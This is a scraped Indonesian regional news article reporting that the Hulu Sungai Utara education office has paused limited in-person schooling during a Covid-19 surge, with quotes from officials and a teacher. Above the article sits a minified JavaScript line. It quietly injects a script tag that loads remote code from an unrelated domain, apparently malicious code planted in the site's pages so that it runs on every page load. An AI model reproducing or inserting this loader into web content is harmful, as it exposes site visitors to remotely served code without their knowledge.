(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTA.COM, AMUNTAI – Melonjaknya angka kasus Covid-19 dengan ditetapkannya PPKM di Kabupaten Hulu Sungai Utara (HSU), membuat Dinas Pendidikan dan Kebudayaan (Disdikbud) HSU menghentikan sementara Pembelajaran Tatap Muka Terbatas (PTMT) yang telah dilaksanakan secara bertahap mulai 12 Juli 2021 lalu.
“Saat ini tren positif covid-19 di HSU sedang meningkat, maka itulah PTMT dihentikan untuk sementara, kemudian untuk mengatasi permasalahan tersebut kita melakukan pembelajaran melalui daring dan kombinasi luring yang mana kita buat kelompok-kelompok kecil untuk melakukan pembelajaran di rumah siswa,” jelas Pelaksana tugas (Plt) Kepala Disdikbud HSU, H. Junaidi Gunawan, Kamis (24/8/2021).
Dikatakan Junaidi, pembelajaran dilingkungan Disdikbud HSU masih ditunda sampai batas waktu yang tidak ditentukan sambil menunggu arahan dari pemerintah pusat.
Untuk mengoptimalkan proses pembelajaran di tengah pandemi yang dilaksanakan melalui daring atau online. Pihaknya sementara melakukan beberapa rangkaian kegiatan bimbingan teknis kurikulum tingkat satuan pendidikan SD dan SMP.
Baca juga: Pos Indonesia Regional 9 Banjarbaru Donor Darah dan Bagi Bingkisan ke Nakes
“Kita lakukan kegiatan bimbingan teknis kurikulum kepada tenaga pendidik dengan harapan sekolah-sekolah dapat menyusun kurikulum secara mandiri dan dapat membantu atau mengoptimalkan pembelajaran kepada siswa agar tetap bisa belajar dimasa pandemi ini,” ungkap Junaidi.
Ia menambahkan meski PTMT untuk sementara dihentikan, namun untuk tenaga pendidik tetap diwajibkan hadir ke sekolah setiap harinya dengan tetap menerapkan protokol kesehatan.
“Tentunya di sini saya berharap pandemi ini cepat berakhir, kemudian berdasarkan menteri pendidikan dan kebudayaan ada sedikit kebijakan baru bahwa kegiatan pembelajaran tatap muka akan diizinkan dengan tetap melaksanakan prokes, dan saya juga berharap kesadaran pada semua tenaga pendidik agar mengikuti ketentuan yang berlaku di antaranya melakukan vaksinasi tahap 1 dan 2,” imbuhnya.
Sementara itu, Ridha Fathullah tenaga pendidik SMPN 4 Amuntai salah satu sekolah yang sempat diizinkan melaksanakan PTMT saat ditemui diruang kerjanya menyampaikan saat ini dirinya dan tenaga pendidik lainnya melaksanakan secara daring dikarenakan pandemi Covid-19.
“Memang maunya anak-anak pembelajaran dilaksanakan secara tatap muka, namun dikarenakan pandemi covid-19 belum berakhir dan meningkatnya kasus positif di HSU maka mau tidak mau kami melaksanakan pembelajaran dengan cara daring, semoga pandemi ini cepat berakhir agar kami sebagai tenaga pendidik bisa melaksanakan pembelajaran tatap muka seperti biasa,” pungkasnya.
Diketahui, dari total 520 sekolah mulai dari tingkat PAUD, SD hingga tingkat SLTP yang ada di Kabupaten HSU, sedikitnya 47 sekolah sebelumnya telah mendapatkan izin untuk melaksanakan PTMT khususnya dari tingkat SD dan SLTP. (kanalkalimanta.com/dew)
Reporter: dew
Editor: cell
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.